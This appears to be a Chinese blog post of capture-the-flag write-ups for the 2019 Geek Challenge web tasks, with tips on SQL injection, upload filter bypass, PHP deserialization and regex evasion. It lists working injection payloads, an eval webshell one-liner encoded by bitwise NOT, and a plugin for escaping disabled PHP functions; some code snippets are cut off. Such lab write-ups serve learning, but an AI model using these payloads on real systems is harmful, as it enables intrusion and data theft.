2019极客大挑战

发布于 2022-09-27  597 次阅读


一些知识

蚁剑绕过disable_function的插件

  • 部分题目设置了disable_function,导致蚁剑连接后无法直接拿到shell,通过本插件可以拿到shell(2019极客rce题目中是选择的php7 gc_uaf模式,不知道为啥)
  • 软件名:as_bypass_php_disable_functions-master,解压到antSword-2.1.11.1\antSword-2.1.11.1\antData\plugins目录下即可(不使用魔法无法查看蚁剑的插件库,使用魔法发现插件库中已经没有收录此插件了)

万能密码的两种方法:

1' or 1=1#
1' or '1'='1#

< ? ? >符号的过滤

  • 文件上传漏洞中对<?等符号进行过滤,无法直接传入php文件(任何php,包括图片马也不行),此时可以考虑传入phtml文件.

  • PHTML(有时叫做PHP)网页是一种包含PHP(一种和JavaScript或Microsoft VBScript类似的语言)脚本的网页和ASP一样,PHP脚本镶嵌在网页的HTML代码之中。

  • 使用方法:

    GIF89a?(此处是伪造jpg图片的头部,可以绕过后端验证,如果还要绕过前端需要bp抓包)
    
  • 蚁剑连接时直接连接php文件即可

输入长度限制的解决方案

  • 之前做过html输入框限制,可以下载html文件,修改限制语句绕过前端验证(注意保护下载的html与其他网页资源的连接关系)
  • 后端的输入长度限制语句通常为strcmp函数,可以通过数组(或者字符串)绕过,比如限制传入变量a的长度为3位,可以传入a[]=1234来突破限制

取反运算-正则的一种神仙绕过

  • 有些题目拦截了所有的字母和数字

  • php中~运算会将变量的二进制取反,非2进制数据将会变成乱码,将需要传入的命令经过这种处理方式后,就变成了没有数字和字母的乱码,再将乱码base64编码传入,并且在传入时再次取反,即可绕过正则

  • 比如正则匹配所有字母和梳子,想要传入?code=cat flag

    
    得到:%9C%9E%8B%DF%99%93%9E%98
  • 然后在地址栏传入?code=(~%9C%9E%8B%DF%99%93%9E%98);即可

  • 注意:如果函数带有括号,如phpinfo(),不能将phpinfo()整体取反,而是将phpinfo取反为%8F%97%8F%96%91%99%90,再在后面加上(),最后变成?code=(~%8F%97%8F%96%91%99%90)();如果直接对phpinfo()整体取反,程序不会将字符串phpinfo()视为函数执行

wp

1[极客大挑战 2019]EasySQL

  • 经过测试,联合查询,报错注入,布尔盲注都不行,只能用时间盲注
  • 测试注入位置与闭环方式,先试用户名,admin' or sleep(2)#成功延迟
  • 爆破数据库长度,admin' or if(length(database())=1,sleep(2),null)#bp爆破结果为4位
  • 爆库名admin' or if(substr(database(),1,1)="a",sleep(2),null)#
  • 然而上面的做法全是错的,直接万能密码即可1' or 1=1#

[极客大挑战 2019]Havefun

  • emmmm~看源代码,发现get传一个cat=dog即可

[极客大挑战 2019]Secret file

  • 查看源代码发现一个php,打开php发现另一个action.php,但是一打开就会301跳转到end.php,于是直接bp打开action.php,发现提示flag在secr3t.php里
  • 打开时一个文件包含的php,绕过过滤(过滤了个寂寞)看不到php内容,考虑使用fliter协议查看,得到flag

[极客大挑战 2019]LoveSQL

  • 此题是easysql升级版,万能密码用不了了,尝试报错注入(测试得闭环方式为' 注入点为用户名)

    1' and updatexml(1,concat(0x7e,database(),0x7e),1)#
    得到库名geek
    1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="geek"),0x7e),1)#
    得到geekuser,l0ve1ysq1
    1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1"),0x7e),1)#
    得到id,username,password
    1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="geekuser"),0x7e),1)#
    得到id,username,password
    1' and updatexml(1,concat(0x7e,(select group_concat(id) from geekuser),0x7e),1)#
    得到1
    1' and updatexml(1,concat(0x7e,(select group_concat(username) from geekuser),0x7e),1)#
    得到admin
    1' and updatexml(1,concat(0x7e,(select group_concat(password) from geekuser),0x7e),1)#
    得到3598042720cdb025fef73f9b71c666e
    1' and updatexml(1,concat(0x7e,(select group_concat(id) from l0ve1ysq1),0x7e),1)#
    得到1,2,3,4,5,6,7,8,9,10,11,12,13,1
    1' and updatexml(1,concat(0x7e,(select group_concat(username) from l0ve1ysq1),0x7e),1)#
    得到~cl4y,glzjin,Z4cHAr7zCr,0xC4m3l,
    1' and updatexml(1,concat(0x7e,(select group_concat(password) from l0ve1ysq1 limit 0,1),0x7e),1)#
    得到wo_tai_nan_le,glzjin_wants_a_gi
    1' and updatexml(1,concat(0x7e,(select password from l0ve1ysq1 limit 15,1),0x7e),1)#
    得到flag
  • 提示:group_concat()虽然好用,但有的时候就是莫名其妙用不了

[极客大挑战 2019]Knife

  • 蚁剑连接即可

[极客大挑战 2019]Http

  • 查看源代码发现有个secrete.php,访问后老套路按提示修改referer,xff和ua即可得到flag

[极客大挑战 2019]Upload

  • 查看源代码,找不到过滤的源代码,只能盲猜
  • 先随便传一个php文件,被拦截,先试试是不是前端验证,上传jpg,抓包改为php文件,成功绕过,但是webshell中的<?被拦截了,考虑上传phtml文件,这样可以使用< script language='php' >来避免<?php的使用(方法见上)
  • 蚁剑连接即可(注意,文件是被上传到upload文件夹下面了而不是网站根目录,这个只能靠猜),flag在根目录flag文件夹下

[极客大挑战 2019]BabySQL

  • 先试试注入点和闭环方式,qwe' or sleep(3)#查看回显,结果是sleep,or被过滤了,双写绕过,成功找到闭环方式
  • 试试联合查询,先查字段数qwe' oorrder by 1#报错为You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '4#' and password='qweqwe'' at line 1,这里有个坑,这个回显的意思不是说order被过滤,这里是指by被过滤了.双写by,查得有三个字段
  • qwe' uniounionn selecselectt 1,2,3#发现显错点为2,3位
  • 爆库qwe' uniounionn selecselectt 1,database(),3# 库名geek
  • 爆表qwe' uniounionn selecselectt 1,database(),(table_name from infoorrmation_schema.tables wherwheree table_schema='geek' limit 0,1)#又报错,这里又有一个坑,from也被过滤了,而且显示不出来这个被过滤了,最后改为qwe' uniounionn selecselectt 1,database(),table_name frfromom infoorrmation_schema.tables wherwheree table_schema='geek' limit 0,1#得到b4bsql,geekuser
  • 爆表qwe' uniounionn selecselectt 1,database(),column_name frfromom infoorrmation_schema.columns wherwheree table_name='b4bsql' limit 0,1#,b4bsql库中有id,username,password,geekuser库中有id,username,password
  • 爆数据qwe' uniounionn selecselectt 1.1,database(),id frfromom b4bsql limit 0,1#id里面只有数字
  • 爆数据qwe' uniounionn selecselectt 1,database(),group_concat(username) frfromom b4bsql#里面有cl4y,sql,porn,git,Stop,badguy,hacker,flag
  • 爆数据qwe' uniounionn selecselectt 1,database(),group_concat(passwoorrd) frfromom b4bsql#得到flag

[极客大挑战 2019]PHP

  • 查看源代码,没有提示,网页提到了备份文件,尝试下载www.zip,,下载后发现flag.php,打开得到$flag = 'Syc{dog_dog_dog_dog}'显然,这不是真的flag,查看index.php发现有反序列化语句,考虑是反序列化漏洞,查看class.php,找到反序列化得到flag的方式

  • 输出flag需要满足元素的name属性为admin与password属性为100,这些可以通过析构函数传入,但是反序列化处罚wakeup函数会将name属性改为guest,所以反序列化是要注意绕过wakeup(方法见上),并且name属性和password属性都是私有属性,需要手动改变反序列化字符串(方法见上)

    username = $username;
          $this->password = $password;
      }
    
      function __wakeup(){
          $this->username = 'guest';
      }
    
      function __destruct(){
          if ($this->password != 100) {
              echo "
    NO!!!hacker!!!
    "; echo "You name is: "; echo $this->username;echo "
    "; echo "You password is: "; echo $this->password;echo "
    "; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
    hello my friend~~
    sorry i can't give you the flag!"; die(); } } } $a=new Name('admin','100'); echo serialize($a); ?> 得到 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
  • 按照上述方法将反序列化字符串改为?select=O:4:"Name":3:{S:14:"\00Name\00username";s:5:"admin";S:14:"\00Name\00password";s:3:"100";}即可得到flag

极客大挑战 2019]BuyFlag

  • 本题需要详细查看源代码
  • 页面提示需要是cuit的学生,源代码提示需要传入密码和money
  • cuit的学生验证可以通过bp抓包修改cookie的user=1
  • 传入密码是老套路了,php弱相等绕过数字验证
  • 传入money显示数字长度过长,并且源代码中没有任何提示,一般判定长度的函数是strcmp函数(绕过方法见上),直接数组绕过,传入money[]=100000000即可得到flag

[极客大挑战 2019]HardSQL(没做出来)

  • 什么都用不了,看了大佬的博客才知道过滤了空格

    尝试了很多 发现有过滤空格以及一些关键词
    
    选择报错注入
    
    但是存在问题 首先是空格被ban了
    
    可以用括号 () 进行绕过
    
    但是 --+ 注释就不能用了
    
    可以用 %23 也就是 # 来注释
    
    还有 and 被被过滤了
    
    要想连接语句可以用 ^ 或者 or
  • 按照大佬的提示,尝试了qwe'^(updatexml(1,concat(0x7e,database(),0x7e),1)))%23,还是不行,才发现这题是get方法!!!

  • ?username=qwe'^(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=qweqwe得到库名,剩下的和之前一样辣

  • 等号也被ban了,可以用like替换

[极客大挑战 2019]FinalSQL(没做出来)

[极客大挑战 2019]RCE ME

  • 用上面提到的方法,取反绕过正则,传入phpinfo(),搜索disable_functions,发现禁用了一堆函数,system函数被禁用可以用assert(),传入一句话木马

    ";
    $c='(eval($_POST[hhz]))';
    $d=urlencode(~$c);
    echo $d;
    ?>
  • 蚁剑连接,发现根目录下有个没内容的flag,和一个readflag,显然,要运行readflaag才能获得flag,但是php禁用了大量的函数,导致蚁剑不能直接shell,需要利用上面提到的蚁剑绕过disable_function的插件,就可以shell(此处模式选择php7 gc_uaf不知道为啥)

届ける言葉を今は育ててる
最后更新于 2024-02-07